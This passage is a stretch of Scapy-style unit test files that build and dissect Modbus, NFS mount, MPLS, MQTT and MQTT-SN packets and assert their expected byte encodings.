b'\\x06\\x00\\x00\\x00\\x00'\n\n= ModbusPDU06WriteSingleRegisterError\nraw(ModbusPDU06WriteSingleRegisterError()) == b'\\x86\\x01'\n\n# 0x07/0x87 Read Exception Status (serial line only) --------------------------------\n= ModbusPDU07ReadExceptionStatusRequest\nraw(ModbusPDU07ReadExceptionStatusRequest()) == b'\\x07'\n\n= ModbusPDU07ReadExceptionStatusResponse\nraw(ModbusPDU07ReadExceptionStatusResponse()) == b'\\x07\\x00'\n\n= ModbusPDU07ReadExceptionStatusError\nraw(ModbusPDU07ReadExceptionStatusError()) == b'\\x87\\x01'\n\n# 0x08/0x88 Diagnostics (serial line only) ------------------------------------------\n= ModbusPDU08DiagnosticsRequest\nraw(ModbusPDU08DiagnosticsRequest())\n= ModbusPDU08DiagnosticsRequest minimal parameters\nraw(ModbusPDU08DiagnosticsRequest(data=[0x1234])) == b'\\x08\\x00\\x00\\x12\\x34'\n\n= ModbusPDU08DiagnosticsResponse\nraw(ModbusPDU08DiagnosticsResponse()) == b'\\x08\\x00\\x00\\x00\\x00'\n= ModbusPDU08DiagnosticsResponse minimal parameters\nraw(ModbusPDU08DiagnosticsResponse(data=[0x1234])) == b'\\x08\\x00\\x00\\x12\\x34'\n\n= ModbusPDU08DiagnosticsError\nraw(ModbusPDU08DiagnosticsError()) == b'\\x88\\x01'\n\n# 0x0b Get Comm Event Counter: serial line only -------------------------------------\n= ModbusPDU0BGetCommEventCounterRequest\nraw(ModbusPDU0BGetCommEventCounterRequest()) == b'\\x0b'\n\n= ModbusPDU0BGetCommEventCounterResponse\nraw(ModbusPDU0BGetCommEventCounterResponse()) == b'\\x0b\\x00\\x00\\xff\\xff'\n\n= ModbusPDU0BGetCommEventCounterError\nraw(ModbusPDU0BGetCommEventCounterError()) == b'\\x8b\\x01'\n\n# 0x0c Get Comm Event Log: serial line only -----------------------------------------\n= ModbusPDU0CGetCommEventLogRequest\nraw(ModbusPDU0CGetCommEventLogRequest()) == b'\\x0c'\n\n= ModbusPDU0CGetCommEventLogResponse\nraw(ModbusPDU0CGetCommEventLogResponse()) == b'\\x0c\\x08\\x00\\x00\\x01\\x08\\x01\\x21\\x20\\x00'\n\n= ModbusPDU0CGetCommEventLogError\nraw(ModbusPDU0CGetCommEventLogError()) == b'\\x8c\\x01'\n\n# 0x0f/0x8f Write Multiple Coils ----------------------------------------------------\n= ModbusPDU0FWriteMultipleCoilsRequest\nraw(ModbusPDU0FWriteMultipleCoilsRequest())\n= ModbusPDU0FWriteMultipleCoilsRequest minimal parameters\nraw(ModbusPDU0FWriteMultipleCoilsRequest(outputsValue=[0x01, 0x01])) == b'\\x0f\\x00\\x00\\x00\\x01\\x02\\x01\\x01'\n\n= ModbusPDU0FWriteMultipleCoilsResponse\nraw(ModbusPDU0FWriteMultipleCoilsResponse()) == b'\\x0f\\x00\\x00\\x00\\x01'\n\n= ModbusPDU0FWriteMultipleCoilsError\nraw(ModbusPDU0FWriteMultipleCoilsError()) == b'\\x8f\\x01'\n\n# 0x10/0x90 Write Multiple Registers ----------------------------------------------------\n= ModbusPDU10WriteMultipleRegistersRequest\nraw(ModbusPDU10WriteMultipleRegistersRequest()) == b'\\x10\\x00\\x00\\x00\\x01\\x02\\x00\\x00'\n= ModbusPDU10WriteMultipleRegistersRequest minimal parameters\nraw(ModbusPDU10WriteMultipleRegistersRequest(outputsValue=[0x0001, 0x0002])) == b'\\x10\\x00\\x00\\x00\\x02\\x04\\x00\\x01\\x00\\x02'\n\n= ModbusPDU10WriteMultipleRegistersResponse\nraw(ModbusPDU10WriteMultipleRegistersResponse()) == b'\\x10\\x00\\x00\\x00\\x01'\n\n= ModbusPDU10WriteMultipleRegistersError\nraw(ModbusPDU10WriteMultipleRegistersError()) == b'\\x90\\x01'\n\n# 0x11/91 Report Slave ID: serial line only ----------------------------------------\n= ModbusPDU11ReportSlaveIdRequest\nraw(ModbusPDU11ReportSlaveIdRequest()) == b'\\x11'\n\n= ModbusPDU11ReportSlaveIdResponse minimal parameters\nraw(ModbusPDU11ReportSlaveIdResponse(byteCount=3, slaveId=\"ID\")) == b'\\x11\\x03\\x49\\x44\\x00'\n\n= ModbusPDU11ReportSlaveIdError\nraw(ModbusPDU11ReportSlaveIdError()) == b'\\x91\\x01'\n\n# 0x14/944 Read File Record ---------------------------------------------------------\n= ModbusPDU14ReadFileRecordRequest len parameters\np = raw(ModbusPDU14ReadFileRecordRequest()/ModbusReadFileSubRequest()/ModbusReadFileSubRequest())\nassert p == b'\\x14\\x0e\\x06\\x00\\x01\\x00\\x00\\x00\\x01\\x06\\x00\\x01\\x00\\x00\\x00\\x01'\n= ModbusPDU14ReadFileRecordRequest minimal parameters\np = raw(ModbusPDU14ReadFileRecordRequest()/ModbusReadFileSubRequest(fileNumber=4, recordNumber=1, recordLength=2)/ModbusReadFileSubRequest(fileNumber=3, recordNumber=9, recordLength=2))\nassert p == b'\\x14\\x0e\\x06\\x00\\x04\\x00\\x01\\x00\\x02\\x06\\x00\\x03\\x00\\t\\x00\\x02'\n= ModbusPDU14ReadFileRecordRequest dissection\np = ModbusPDU14ReadFileRecordRequest(b'\\x14\\x0e\\x06\\x00\\x04\\x00\\x01\\x00\\x02\\x06\\x00\\x03\\x00\\t\\x00\\x02')\nassert isinstance(p.payload, ModbusReadFileSubRequest)\nassert isinstance(p.payload.payload, ModbusReadFileSubRequest)\n\n= ModbusPDU14ReadFileRecordResponse minimal parameters\nraw(ModbusPDU14ReadFileRecordResponse()/ModbusReadFileSubResponse(recData=[0x0dfe, 0x0020])/ModbusReadFileSubResponse(recData=[0x33cd, 0x0040])) == b'\\x14\\x0c\\x05\\x06\\r\\xfe\\x00 \\x05\\x063\\xcd\\x00@'\n= ModbusPDU14ReadFileRecordResponse dissection\np = ModbusPDU14ReadFileRecordResponse(b'\\x14\\x0c\\x05\\x06\\r\\xfe\\x00 \\x05\\x063\\xcd\\x00@')\nassert isinstance(p.payload, ModbusReadFileSubResponse)\nassert isinstance(p.payload.payload, ModbusReadFileSubResponse)\n\n= ModbusPDU14ReadFileRecordError\nraw(ModbusPDU14ReadFileRecordError()) == b'\\x94\\x01'\n\n# 0x15/0x95 Write File Record -------------------------------------------------------\n= ModbusPDU15WriteFileRecordRequest minimal parameters\nraw(ModbusPDU15WriteFileRecordRequest()/ModbusWriteFileSubRequest(fileNumber=4, recordNumber=7, recordData=[0x06af, 0x04be, 0x100d])) == b'\\x15\\r\\x06\\x00\\x04\\x00\\x07\\x00\\x03\\x06\\xaf\\x04\\xbe\\x10\\r'\n= ModbusPDU15WriteFileRecordRequest dissection\np = ModbusPDU15WriteFileRecordRequest(b'\\x15\\x0d\\x06\\x00\\x04\\x00\\x07\\x00\\x03\\x06\\xaf\\x04\\xbe\\x10\\r')\nassert isinstance(p.payload, ModbusWriteFileSubRequest)\nassert p.payload.recordLength == 3\n\n= ModbusPDU15WriteFileRecordResponse minimal parameters\nraw(ModbusPDU15WriteFileRecordResponse()/ModbusWriteFileSubResponse(fileNumber=4, recordNumber=7, recordData=[0x06af, 0x04be, 0x100d])) == b'\\x15\\r\\x06\\x00\\x04\\x00\\x07\\x00\\x03\\x06\\xaf\\x04\\xbe\\x10\\r'\n= ModbusPDU15WriteFileRecordResponse dissection\np = ModbusPDU15WriteFileRecordResponse(b'\\x15\\x0d\\x06\\x00\\x04\\x00\\x07\\x00\\x03\\x06\\xaf\\x04\\xbe\\x10\\r')\nassert isinstance(p.payload, ModbusWriteFileSubResponse)\nassert p.payload.recordLength == 3\n\n= ModbusPDU15WriteFileRecordError\nraw(ModbusPDU15WriteFileRecordError()) == b'\\x95\\x01'\n\n# 0x16/0x96 Mask Write Register -----------------------------------------------------\n= ModbusPDU16MaskWriteRegisterRequest\nraw(ModbusPDU16MaskWriteRegisterRequest()) == b'\\x16\\x00\\x00\\xff\\xff\\x00\\x00'\n\n= ModbusPDU16MaskWriteRegisterResponse\nraw(ModbusPDU16MaskWriteRegisterResponse()) == b'\\x16\\x00\\x00\\xff\\xff\\x00\\x00'\n\n= ModbusPDU16MaskWriteRegisterError\nraw(ModbusPDU16MaskWriteRegisterError()) == b'\\x96\\x01'\n\n# 0x17/0x97 Read/Write Multiple Registers -------------------------------------------\n= ModbusPDU17ReadWriteMultipleRegistersRequest\nraw(ModbusPDU17ReadWriteMultipleRegistersRequest()) == b'\\x17\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x02\\x00\\x00'\n= ModbusPDU17ReadWriteMultipleRegistersRequest minimal parameters\nraw(ModbusPDU17ReadWriteMultipleRegistersRequest(writeRegistersValue=[0x0001, 0x0002])) == b'\\x17\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x04\\x00\\x01\\x00\\x02'\n= ModbusPDU17ReadWriteMultipleRegistersRequest dissection\np = ModbusPDU17ReadWriteMultipleRegistersRequest(b'\\x17\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x04\\x00\\x01\\x00\\x02')\nassert p.byteCount == 4\nassert p.writeQuantityRegisters == 2\n\n= ModbusPDU17ReadWriteMultipleRegistersResponse\nraw(ModbusPDU17ReadWriteMultipleRegistersResponse()) == b'\\x17\\x02\\x00\\x00'\n= ModbusPDU17ReadWriteMultipleRegistersResponse minimal parameters\nraw(ModbusPDU17ReadWriteMultipleRegistersResponse(registerVal=[1,2,3])) == b'\\x17\\x06\\x00\\x01\\x00\\x02\\x00\\x03'\n= ModbusPDU17ReadWriteMultipleRegistersResponse dissection\nraw(ModbusPDU17ReadWriteMultipleRegistersResponse(b'\\x17\\x02\\x00\\x01')) == b'\\x17\\x02\\x00\\x01'\n\n= ModbusPDU17ReadWriteMultipleRegistersError\nraw(ModbusPDU17ReadWriteMultipleRegistersError()) == b'\\x97\\x01'\n\n# 0x18/0x88 Read FIFO Queue ---------------------------------------------------------\n= ModbusPDU18ReadFIFOQueueRequest\nraw(ModbusPDU18ReadFIFOQueueRequest()) == b'\\x18\\x00\\x00'\n\n= ModbusPDU18ReadFIFOQueueResponse\n= ModbusPDU18ReadFIFOQueueResponse\nraw(ModbusPDU18ReadFIFOQueueResponse()) == b'\\x18\\x00\\x02\\x00\\x00'\n= ModbusPDU18ReadFIFOQueueResponse minimal parameters\nraw(ModbusPDU18ReadFIFOQueueResponse(FIFOVal=[0x0001, 0x0002, 0x0003])) == b'\\x18\\x00\\x08\\x00\\x03\\x00\\x01\\x00\\x02\\x00\\x03'\n= ModbusPDU18ReadFIFOQueueResponse dissection\np = ModbusPDU18ReadFIFOQueueResponse(b'\\x18\\x00\\x08\\x00\\x03\\x00\\x01\\x00\\x02\\x00\\x03')\nassert p.byteCount == 8\nassert p.FIFOCount == 3\n\n= ModbusPDU18ReadFIFOQueueError\nraw(ModbusPDU18ReadFIFOQueueError()) == b'\\x98\\x01'\n\n# 0x2b encapsulated Interface Transport ---------------------------------------------\n# 0x2b 0xOD CANopen General Reference (out of the main specification) ---------------\n\n# 0x2b 0xOE Read Device Information -------------------------------------------------\n= ModbusPDU2B0EReadDeviceIdentificationRequest\nraw(ModbusPDU2B0EReadDeviceIdentificationRequest()) == b'+\\x0e\\x01\\x00'\n\n= ModbusPDU2B0EReadDeviceIdentificationResponse\nraw(ModbusPDU2B0EReadDeviceIdentificationResponse()) == b'+\\x0e\\x04\\x01\\x00\\x00\\x00'\n= ModbusPDU2B0EReadDeviceIdentificationResponse complete response\np = raw(ModbusPDU2B0EReadDeviceIdentificationResponse(objCount=2)/ModbusObjectId(id=0, value=\"Obj1\")/ModbusObjectId(id=1, value=\"Obj2\"))\nassert p == b'+\\x0e\\x04\\x01\\x00\\x00\\x02\\x00\\x04Obj1\\x01\\x04Obj2'\n= ModbusPDU2B0EReadDeviceIdentificationResponse dissection\np = ModbusPDU2B0EReadDeviceIdentificationResponse(b'+\\x0e\\x01\\x83\\x00\\x00\\x03\\x00\\x08Pymodbus\\x01\\x02PM\\x02\\x031.0')\nassert p.payload.payload.payload.id == 2\nassert p.payload.payload.id == 1\nassert p.payload.id == 0\n\n= ModbusPDU2B0EReadDeviceIdentificationError\nraw(ModbusPDU2B0EReadDeviceIdentificationError()) == b'\\xab\\x01'\n\n= Modbus test for payload subfield\n# GH4112\npkt = ModbusPDUUserDefinedFunctionCodeRequest(b'M\\x00\\x05\\x00\\n')\npkt = next(iter(pkt))\nassert pkt.mb_payload == b'\\x00\\x05\\x00\\n'\n\n"
  },
  {
    "path": "test/contrib/mount.uts",
    "content": "% Test mount layer\n####################\n####################\n\n+ Packet Creation Tests\n\n= Create subpackets\nPath()\nFile_Object()\n\n= Create Mount Calls\nNULL_Call()\nMOUNT_Call()\nUNMOUNT_Call()\n\n= Create Successful Mount Replies\nMOUNT_Reply(status=0)\n\n= Create Failed Mount Replies\nMOUNT_Reply(status=1)\n\n+ RPC Layer bindings tests\n\n= Layer Bindings for Mount Calls\nfrom scapy.contrib.oncrpc import *\npkt = RPC()/RPC_Call()/NULL_Call()\nassert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100005, 3, 0)\npkt = RPC()/RPC_Call()/MOUNT_Call()\nassert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100005, 3, 1)\npkt = RPC()/RPC_Call()/UNMOUNT_Call()\nassert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100005, 3, 3)\n\n= Layer Bindings for Mount Replies\nfrom scapy.contrib.oncrpc import *\npkt = RPC()/RPC_Reply()/NULL_Reply()\nassert pkt.mtype == 1\npkt = RPC()/RPC_Reply()/MOUNT_Reply()\nassert pkt.mtype == 1\npkt = RPC()/RPC_Reply()/UNMOUNT_Reply()\nassert pkt.mtype == 1\n\n+ Test Built Packets vs Raw Strings\n\n= Mount calls vs Raw strings\npkt = MOUNT_Call(\n    path=Path(\n        length=4,\n        path='path'\n    )\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x04path'\n\npkt = UNMOUNT_Call(\n    path=Path(\n        length=4,\n        path='path'\n    )\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x04path'\n\n= Mount replies vs Raw Strings\npkt = MOUNT_Reply(\n    status=0,\n    filehandle=File_Object(\n        length=4,\n        fh='file'\n    ),\n    flavors=3,\n    flavor=[\n        0,0,0\n    ]\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04file\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n"
  },
  {
    "path": "test/contrib/mpls.uts",
    "content": "# MPLS unit tests\n#\n# Type the following command to launch start the tests:\n# $ test/run_tests -P \"load_contrib('mpls')\" -t test/contrib/mpls.uts\n\n+ MPLS\n\n= Build & dissect - IPv4\n\ns = raw(Ether(src=\"00:01:02:04:05\")/MPLS()/IP())\nassert s == b'\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x01\\x02\\x04\\x05\\x00\\x88G\\x00\\x00\\x01\\x00E\\x00\\x00\\x14\\x00\\x01\\x00\\x00@\\x00|\\xe7\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01'\n\np = Ether(s)\nassert MPLS in p and IP in p\n\n\n= Build & dissect - IPv6\ns = raw(Ether(src=\"00:01:02:04:05\")/MPLS(s=0)/MPLS()/IPv6())\nassert s == b'\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x01\\x02\\x04\\x05\\x00\\x88G\\x00\\x000\\x00\\x00\\x00!\\x00`\\x00\\x00\\x00\\x00\\x00;@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01'\n\np = Ether(s)\nassert IPv6 in p and isinstance(p[MPLS].payload, MPLS)\n\n= Association on IP and IPv6\np = IP()/MPLS()\np = IP(raw(p))\nassert p[IP].proto == 137\n\np2 = IPv6()/MPLS()\np2 = IPv6(raw(p2))\nassert p2[IPv6].nh == 137\n"
  },
  {
    "path": "test/contrib/mqtt.uts",
    "content": "# MQTT layer unit tests\n# Copyright (C) Santiago Hernandez Ramos <shramos@protonmail.com>\n#\n# Type the following command to launch start the tests:\n# $ test/run_tests -P \"load_contrib('mqtt')\" -t test/contrib/mqtt.uts\n\n+ Syntax check\n= Import the MQTT layer\nfrom scapy.contrib.mqtt import *\n\n\n+ MQTT protocol test\n\n= MQTTPublish, packet instantiation\np = MQTT()/MQTTPublish(topic='test1',value='test2')\nassert p.type == 3\nassert p.topic == b'test1'\nassert p.value == b'test2'\nassert p.len == None\nassert p.length == None\n\n= Fixed header and MQTTPublish, packet dissection\ns = b'0\\n\\x00\\x04testtest'\npublish = MQTT(s)\nassert publish.type == 3\nassert publish.QOS == 0\nassert publish.DUP == 0\nassert publish.RETAIN == 0\nassert publish.len == 10\nassert publish[MQTTPublish].length == 4\nassert publish[MQTTPublish].topic == b'test'\nassert publish[MQTTPublish].value == b'test'\n\n= MQTTPublish\n\ntopicC = \"testtopic/command\"\n\np1 = MQTT(\n            QOS=1\n        ) / MQTTPublish(\n            topic=topicC,\n            msgid=1234,\n            value=\"msg1\"\n        )\np2 = MQTT(\n            QOS=1\n        ) / MQTTPublish(\n            topic=topicC,\n            msgid=1235,\n            value=\"msg2\"\n        )\n\np = MQTT(raw(p1 / p2))\nassert p[1].msgid == 1234\n\n= MQTTConnect, packet instantiation\nc = MQTT()/MQTTConnect(clientIdlen=5, clientId='newid')\nassert c.type == 1\nassert c.clientId == b'newid'\nassert c.clientIdlen == 5\n\n= MQTTConnect, packet dissection\ns = b'\\x10\\x1f\\x00\\x06MQIsdp\\x03\\x02\\x00<\\x00\\x11mosqpub/1440-kali'\nconnect = MQTT(s)\nassert connect.length == 6\nassert connect.protoname == b'MQIsdp'\nassert connect.protolevel == 3\nassert connect.usernameflag == 0\nassert connect.passwordflag == 0\nassert connect.willretainflag == 0\nassert connect.willQOSflag == 0\nassert connect.willflag == 0\nassert connect.cleansess == 1\nassert connect.reserved == 0\nassert connect.klive == 60\nassert connect.clientIdlen == 17\nassert connect.clientId == b'mosqpub/1440-kali'\n\n= MQTTDisconnect\nmr = raw(MQTT()/MQTTDisconnect())                                                                                           \ndc= MQTT(mr)                                                                                                                \nassert dc.type == 14 \n\n=MQTTConnack, packet instantiation\nck = MQTT()/MQTTConnack(sessPresentFlag=1,retcode=0)\nassert ck.type == 2\nassert ck.sessPresentFlag == 1\nassert ck.retcode == 0\n\n= MQTTConnack, packet dissection\ns = b' \\x02\\x00\\x00'\nconnack = MQTT(s)\nassert connack.sessPresentFlag == 0\nassert connack.retcode == 0\n\n\n= MQTTSubscribe, packet instantiation\nsb = MQTT()/MQTTSubscribe(msgid=1, topics=[MQTTTopicQOS(topic='newtopic', QOS=1, length=0)])\nassert sb.type == 8\nassert sb.msgid == 1\nassert sb.topics[0].topic == b'newtopic'\nassert sb.topics[0].length == 0\nassert sb[MQTTSubscribe][MQTTTopicQOS].QOS == 1\n\n= MQTTSubscribe, packet dissection\ns = b'\\x82\\t\\x00\\x01\\x00\\x04test\\x01'\nsubscribe = MQTT(s)\nassert subscribe.msgid == 1\nassert subscribe.topics[0].length == 4\nassert subscribe.topics[0].topic == b'test'\nassert subscribe.topics[0].QOS == 1\n\n\n= MQTTSuback, packet instantiation\nsk = MQTT()/MQTTSuback(msgid=1, retcodes=[0])\nassert sk.type == 9\nassert sk.msgid == 1\nassert sk.retcodes == [0]\n\n= MQTTSuback, packet dissection\ns = b'\\x90\\x03\\x00\\x01\\x00'\nsuback = MQTT(s)\nassert suback.msgid == 1\nassert suback.retcodes == [0]\n\ns = b'\\x90\\x03\\x00\\x01\\x00\\x01'\nsuback = MQTT(s)\nassert suback.msgid == 1\nassert suback.retcodes == [0, 1]\n\n= MQTTUnsubscribe, packet instantiation\nunsb = MQTT()/MQTTUnsubscribe(msgid=1, topics=[MQTTTopic(topic='newtopic',length=0)])\nassert unsb.type == 10\nassert unsb.msgid == 1\nassert unsb.topics[0].topic == b'newtopic'\nassert unsb.topics[0].length == 0\n\n= MQTTUnsubscribe, packet dissection\nu = b'\\xA2\\x09\\x00\\x01\\x00\\x03\\x61\\x2F\\x62'\nunsubscribe = MQTT(u)\nassert unsubscribe.msgid == 1\nassert unsubscribe.topics[0].length == 3\nassert unsubscribe.topics[0].topic == b'a/b'\n\n= MQTTUnsuback, packet instantiation\nunsk = MQTT()/MQTTUnsuback(msgid=1)\nassert unsk.type == 11\nassert unsk.msgid == 1\n\n= MQTTUnsuback, packet dissection\nu = b'\\xb0\\x02\\x00\\x01'\nunsuback = MQTT(u)\nassert unsuback.type == 11\nassert unsuback.msgid == 1\n\n= MQTTPubrec, packet instantiation\npc = MQTT()/MQTTPubrec(msgid=1)\nassert pc.type == 5\nassert pc.msgid == 1\n\n= MQTTPubrec packet dissection\ns = b'P\\x02\\x00\\x01'\npubrec = MQTT(s)\nassert pubrec.msgid == 1\n\n= MQTTPublish, long value\np = MQTT()/MQTTPublish(topic='test1',value='a'*200)\nassert bytes(p)\nassert p.type == 3\nassert p.topic == b'test1'\nassert p.value == b'a'*200\nassert p.len == None\nassert p.length == None\n\n= MQTT without payload\np = MQTT()\nassert bytes(p) == b'\\x10\\x00'\n\n= MQTT RandVariableFieldLen\nassert type(MQTT().fieldtype['len'].randval()) == RandVariableFieldLen\nassert type(MQTT().fieldtype['len'].randval() + 0) == int\n\n= MQTTUnsubscribe\nu = MQTT(b'\\xA2\\x0C\\x00\\x01\\x00\\x03\\x61\\x2F\\x62\\x00\\x03\\x63\\x2F\\x64')\nassert MQTTUnsubscribe in u and len(u.topics) == 2 and u.topics[1].topic == b\"c/d\"\n\n= MQTTSubscribe\nu = MQTT(b'\\x82\\x10\\x00\\x01\\x00\\x03\\x61\\x2F\\x62\\x02\\x00\\x03\\x63\\x2F\\x64\\x00')\nassert MQTTSubscribe in u and len(u.topics) == 2 and u.topics[1].topic == b\"c/d\"\n"
  },
  {
    "path": "test/contrib/mqttsn.uts",
    "content": "# MQTT-SN layer unit tests\n# Copyright (C) 2019 Martine Lenders <m.lenders@fu-berlin.de>\n#\n# This program is published under GPLv2 license\n#\n# Type the following command to start the test\n# $ test/run_tests -P \"load_contrib('mqttsn')\" -t test/contrib/mqttsn.uts\n\n+ Syntax check\n= Import the MQTT-SN layer\nfrom scapy.contrib.mqttsn import *\n\n+ MQTT-SN protocol test\n\n= MQTTSN + MQTTSNAdvertise, packet instantiation and len field adjust\np = MQTTSN() / MQTTSNAdvertise(gw_id=142, duration=54403)\nassert p.len is None\nassert p.type == ADVERTISE\nassert p.gw_id == 142\nassert p.duration == 54403\nb = bytes(p)\np = MQTTSN(b)\nassert p.len == 5\nassert p.type == ADVERTISE\nassert p.gw_id == 142\nassert p.duration == 54403\n\n= MQTTSNAdvertise, packet dissection\nb = b\"\\x05\\x00\\x98\\x2b\\x9a\"\np = MQTTSN(b)\nassert p.len == 5\nassert p.type == ADVERTISE\nassert p.gw_id == 0x98\nassert p.duration == 0x2b9a\n\n= MQTTSNSearchGW, packet instantiation\np = MQTTSN() / MQTTSNSearchGW(radius=175)\nassert p.len is None\nassert p.type == SEARCHGW\nassert p.radius == 175\n\n= MQTTSNSearchGW, packet dissection\nb = b\"\\x03\\x01\\xcc\"\np = MQTTSN(b)\nassert p.len == 3\nassert p.type == SEARCHGW\nassert p.radius == 0xcc\n\n= MQTTSNGwInfo, packet instantiation\np = MQTTSN() / MQTTSNGwInfo(gw_id=135, gw_addr=\"test\\0test\")\nassert p.len is None\nassert p.type == GWINFO\nassert p.gw_id == 135\nassert p.gw_addr == b\"test\\x00test\"\n\n= MQTTSN + MQTTSNGwInfo, packet instantiation and len field adjust\np = MQTTSN(len=7) / MQTTSNGwInfo(gw_id=7, gw_addr=\"test\") / \"xyz\"\nassert p.len == 7\nassert p.type == GWINFO\nassert p.gw_id == 7\nassert p.gw_addr == b\"test\"\nassert p.load == b\"xyz\"\nb = bytes(p)\np = MQTTSN(b)\nassert p.len == 7\nassert p.type == GWINFO\nassert p.gw_id == 7\nassert p.gw_addr == b\"test\"\nassert p.load == b\"xyz\"\n\n= MQTTSNGwInfo, packet dissection\nb = b\"\\x07\\x02\\x14testing\"\np = MQTTSN(b)\nassert p.len == 7\nassert p.type == GWINFO\nassert p.gw_id == 0x14\nassert p.gw_addr == b\"test\"\nassert p.load == b\"ing\"\n\n= MQTTSNGwInfo, packet dissection - invalid length\nb = b\"\\x01\\x00\\x01\\x02\\x14test\"\np = MQTTSN(b)\nprint(type(p), repr(p))\nassert p.len == 1\nassert p.type == GWINFO\nassert p.gw_id == 0x14\nassert p.gw_addr == b\"\"\n\n= MQTTSNConnect, packet instantiation\np = MQTTSN() / MQTTSNConnect(duration=40666, client_id=\"test\")\nassert p.len is None\nassert p.type == CONNECT\nassert p.dup == 0\nassert p.qos == QOS_0\nassert p.retain == 0\nassert p.will == 0\nassert p.cleansess == 0\nassert p.tid_type == TID_NORMAL\nassert p.prot_id == 1\nassert p.duration == 40666\nassert p.client_id == b\"test\"\n\n= MQTTSNConnect, packet dissection\nb = b\"\\x0a\\x04\\x04\\x1a\\x77\\x5btesting\"\np = MQTTSN(b)\nassert p.len == 10\nassert p.type == CONNECT\nassert p.dup == 0\nassert p.qos == QOS_0\nassert p.retain == 0\nassert p.will == 0\nassert p.cleansess == 1\nassert p.tid_type == TID_NORMAL\nassert p.prot_id == 0x1a\nassert p.duration == 0x775b\nassert p.client_id == b\"test\"\nassert p.load == b\"ing\"\n\n= MQTTSNConnack, packet instantiation\np = MQTTSN() / MQTTSNConnack()\nassert p.len is None\nassert p.type == CONNACK\nassert p.return_code == ACCEPTED\n\n= MQTTSNConnack, packet dissection\nb = b\"\\x03\\x05\\x02\"\np = MQTTSN(b)\nassert p.len == 3\nassert p.type == CONNACK\nassert p.return_code == REJ_TID\n\n= MQTTSNWillTopicReq, packet instantiation\np = MQTTSN() / MQTTSNWillTopicReq()\nassert p.len is None\nassert p.type == WILLTOPICREQ\n\n= MQTTSNWillTopicReq, packet dissection\nb = b\"\\x02\\x06\"\np = MQTTSN(b)\nassert p.len == 2\nassert p.type == WILLTOPICREQ\n\n= MQTTSNWillTopic, packet instantiation\np = MQTTSN() / MQTTSNWillTopic(will_topic=\"/test\")\nassert p.len is None\nassert p.type == WILLTOPIC\nassert p.dup == 0\nassert p.qos == QOS_0\nassert p.retain == 0\nassert p.will == 0\nassert p.cleansess == 0\nassert p.tid_type == TID_NORMAL\nassert p.will_topic == b\"/test\"\n\n= MQTTSNWillTopic, packet dissection\nb = b\"\\x08\\x07\\x00/testing\"\np = MQTTSN(b)\nassert p.len == 8\nassert p.type == WILLTOPIC\nassert p.dup == 0\nassert p.qos == QOS_0\nassert p.retain == 0\nassert p.will == 0\nassert p.cleansess == 0\nassert p.tid_type == TID_NORMAL\nassert p.will_topic == b\"/test\"\n\n= MQTTSNWillMsgReq, packet instantiation\np = MQTTSN() / MQTTSNWillMsgReq()\nassert p.len is None\nassert p.type == WILLMSGREQ\n\n= MQTTSNWillMsgReq, packet dissection\nb = b\"\\x02\\x08\"\np = MQTTSN(b)\nassert p.len == 2\nassert p.type == WILLMSGREQ\n\n= MQTTSNWillMsg, packet instantiation\np = MQTTSN() / MQTTSNWillMsg(will_msg=\"test\")\nassert p.len is None\nassert p.type == WILLMSG\nassert p.will_msg == b\"test\"\n\n= MQTTSNWillMsg, packet dissection\nb = b\"\\x06\\x09testing\"\np = MQTTSN(b)\nassert p.len == 6\nassert p.type == WILLMSG\nassert p.will_msg == b\"test\"\nassert p.load == b\"ing\"\n\n= MQTTSNRegister, packet instantiation\np = MQTTSN() / MQTTSNRegister(mid=30533, topic_name=\"/test\")\nassert p.len is None\nassert p.type == REGISTER\nassert p.tid == 0\nassert p.mid == 30533\nassert p.topic_name == b\"/test\"\n\n= MQTTSNRegister, packet dissection\nb = b\"\\x0b\\x0a\\0\\0\\x48\\x8a/testing\"\np = MQTTSN(b)\nassert p.len == 11\nassert p.type == REGISTER\nassert p.tid == 0\nassert p.mid == 0x488a\nassert p.topic_name == b\"/test\"\nassert p.load == b\"ing\"\n\n= MQTTSNRegack, packet instantiation\np = MQTTSN() / MQTTSNRegack(tid=61547, mid=8593, return_code=REJ_NOTSUP)\nassert p.len is None\nassert p.type == REGACK\nassert p.tid == 61547\nassert p.mid == 8593\nassert p.return_code == REJ_NOTSUP\n\n= MQTTSNRegack, packet dissection\nb = b\"\\x08\\x0b\\xc5\\xe8\\x31\\x87\\x01\"\np = MQTTSN(b)\nassert p.len == 8\nassert p.type == REGACK\nassert p.tid == 0xc5e8\nassert p.mid == 0x3187\nassert p.return_code == REJ_CONJ\n\n= MQTTSNPublish, packet instantiation\np = MQTTSN() / MQTTSNPublish(qos=QOS_1, tid=52032, mid=35252,\n                             data=\"Hello world!\")\nassert p.len is None\nassert p.type == PUBLISH\nassert p.dup == 0\nassert p.qos == QOS_1\nassert p.retain == 0\nassert p.will == 0\nassert p.cleansess == 0\nassert p.tid_type == TID_NORMAL\nassert p.tid == 52032\nassert p.mid == 35252\nassert p.data == b\"Hello world!\"\n\n= MQTTSNPublish, packet instantiation - long data\np = MQTTSN() / MQTTSNPublish(qos=QOS_NEG1, tid=62839, mid=36181,\n                             data=726 * \"X\")\nassert p.len is None\nassert p.type == PUBLISH\nassert p.dup == 0\nassert p.qos == QOS_NEG1\nassert p.retain == 0\nassert p.will == 0\nassert p.cleansess == 0\nassert p.tid_type == TID_NORMAL\nassert p.tid == 62839\nassert p.mid == 36181\nassert p.data == 726 * b\"X\"\n# Check if length field was constructed correctly\nb = bytes(p)\nassert b[:3] == 